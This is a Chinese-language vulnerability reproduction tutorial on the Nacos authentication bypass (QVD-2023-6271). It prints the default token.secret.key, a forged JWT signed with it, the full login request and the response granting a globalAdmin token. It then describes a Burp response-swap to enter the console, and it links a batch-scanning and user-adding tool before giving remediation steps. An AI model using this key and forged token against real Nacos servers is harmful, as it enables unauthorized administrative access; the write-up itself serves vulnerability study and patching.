Nacos身份认证绕过漏洞(QVD-2023-6271)

Nacos身份认证绕过漏洞(QVD-2023-6271)

漏洞描述

漏洞原理为开源服务管理平台 Nacos在默认配置下未对 token.secret.key 进行修改,导致远程攻击者可以绕过密钥认证进入后台造成系统受控等后果。

漏洞信息

漏洞类型:身份认证绕过
漏洞等级:高危
漏洞编号:NVDB-CNVDB-2023674205

受影响版本:
0.1.0 <= Nacos <= 2.2.0

漏洞原理

Nacos是一个易于使用的平台,专为动态服务发现和配置以及服务管理而设计。可以帮助您轻松构建云原生应用程序和微服务平台。
目前Nacos 身份认证绕过漏洞(QVD-2023-6271),开源服务管理平台Nacos在默认配置下未对 token.secret.key 进行修改,导致远程攻击者可以绕过密钥认证进入后台,造成系统受控等后果。

漏洞影响范围:
0.1.0 <= Nacos <= 2.2.0基本上都受到了影响,最新的版本已修复漏洞。

漏洞的本质是因为使用了默认的key。
JWT(JSON Web Token)是一种用于在网络应用之间安全传递信息的开放标准。在使用JWT时,通常需要使用密钥对token进行签名,以确保token在传输过程中不被篡改。如果在代码中将密钥硬编码到应用程序中,将会存在JWT硬编码漏洞。
JWT硬编码漏洞是指将密钥硬编码到应用程序代码中,而不是存储在安全的密钥存储库中,攻击者可以轻松地获取该密钥并使用其签署和验证JWT。这使攻击者可以创建或修改JWT,或者验证伪造的JWT,从而导致安全漏洞。例如,应用程序使用硬编码密钥对JWT进行签名,攻击者可以轻松获取该密钥并创建有效的JWT,该JWT会被误认为是经过身份验证的用户,从而获得未经授权的访问权限。因此,为了避免JWT硬编码漏洞,应该将密钥存储在安全的密钥存储库中,并且只有授权的应用程序可以访问它。

环境搭建

漏洞版本下载
首先从GitHub下载带有漏洞的源码:

https://github.com/alibaba/nacos/releases

在这里最新版本已经修复了相关的漏洞,所以在这里需要使用其它的版本来进行复现:
Nacos身份认证绕过漏洞(QVD-2023-6271)_第1张图片
可以选择这个:
Nacos身份认证绕过漏洞(QVD-2023-6271)_第2张图片
下载到本地之后,在有java8以上的环境下进行快速部署。

漏洞部署

部署环境:Windows10 + java8 ip地址:10.211.55.5
在这里按照教程,解压之后,在bin目录下使用cmd使用命令startup.cmd -m standalone来启动。
Nacos身份认证绕过漏洞(QVD-2023-6271)_第3张图片

此时访问10.211.55.5:8848,就可以看到nacos启动了!
Nacos身份认证绕过漏洞(QVD-2023-6271)_第4张图片

拼接路径nacos到路径:
http://10.211.55.5:8848/nacos/#/login
Nacos身份认证绕过漏洞(QVD-2023-6271)_第5张图片

漏洞复现

在nacos中,token.secret.key值是固定死的,位置在conf下的application.properties中:
Nacos身份认证绕过漏洞(QVD-2023-6271)_第6张图片

nacos.core.auth.plugin.nacos.token.secret.key=SecretKey012345678901234567890123456789012345678901234567890123456789

利用该默认key可进行jwt构造,直接进入后台,构造方法:
https://jwt.io/中:输入默认key:

{
  "sub": "nacos",
  "exp": 1678899909
}

在这里注意:1678899909这个值是unix时间戳,换算一下,要比你系统当前的时间更晚,比如当前的时间是2023年03月15日22:11:09,在这里面的时间戳时间是3月16号了:

Nacos身份认证绕过漏洞(QVD-2023-6271)_第7张图片
Nacos身份认证绕过漏洞(QVD-2023-6271)_第8张图片
复制上面得到的值,在burp里面选择登录之后构造:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODg5OTkwOX0.Di28cDY76JCvTMsgiim12c4pukjUuoBz6j6dstUKO7s

Nacos身份认证绕过漏洞(QVD-2023-6271)_第9张图片
方框里面需要自行添加:

POST /nacos/v1/auth/users/login HTTP/1.1
Host: 10.211.55.5:8848
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
Origin: http://10.211.55.5:8848
Connection: close
Referer: http://10.211.55.5:8848/nacos/index.html
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODg5OTkwOX0.Di28cDY76JCvTMsgiim12c4pukjUuoBz6j6dstUKO7s

username=crowsec&password=crowsec

此时就得到了token信息:

HTTP/1.1 200 
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Content-Security-Policy: script-src 'self'
Set-Cookie: JSESSIONID=D90CF6E5B233685E4A39C1B1BDA9F185; Path=/nacos; HttpOnly
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODg5OTkwOX0.Di28cDY76JCvTMsgiim12c4pukjUuoBz6j6dstUKO7s
Content-Type: application/json
Date: Wed, 15 Mar 2023 14:13:22 GMT
Connection: close
Content-Length: 197

{"accessToken":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODg5OTkwOX0.Di28cDY76JCvTMsgiim12c4pukjUuoBz6j6dstUKO7s","tokenTtl":18000,"globalAdmin":true,"username":"nacos"}

此时就得到了nacos的token信息。

利用获取token登录后台:
如何登录呢,在这里需要用假账号登录之后,再修改返回包就行了,试试看:
先用假账号登录,用burp拦截:

Nacos身份认证绕过漏洞(QVD-2023-6271)_第10张图片
这肯定进不去的,在这里修改返回包,右键看下这个:
Nacos身份认证绕过漏洞(QVD-2023-6271)_第11张图片
然后Forward,这边返回的信息肯定是无效的:
Nacos身份认证绕过漏洞(QVD-2023-6271)_第12张图片
在这里使用刚刚burp里面生成的返回包进行替换,全部复制过去:
Nacos身份认证绕过漏洞(QVD-2023-6271)_第13张图片
再forward一次:
Nacos身份认证绕过漏洞(QVD-2023-6271)_第14张图片此时就已经进去了:

Nacos身份认证绕过漏洞(QVD-2023-6271)_第15张图片
工具使用
也可以使用工具:
工具下载地址:

https://github.com/Pizz33/nacos_vul

nacosvul.py用于漏洞批量检测,nacosadd.py用于一键添加用户
批量检测截图:
Nacos身份认证绕过漏洞(QVD-2023-6271)_第16张图片

漏洞修复

更新版本:
https://nacos.io/zh-cn/blog/announcement-token-secret-key.html

缓解措施:
1、检查application.properties文件中token.secret.key属性,若为默认值,可参考:https://nacos.io/zh-cn/docs/v2/guide/user/auth.html进行更改。
2、将Nacos部署于内部网络环境

你可能感兴趣的:(#,漏洞复现,java,安全,网络)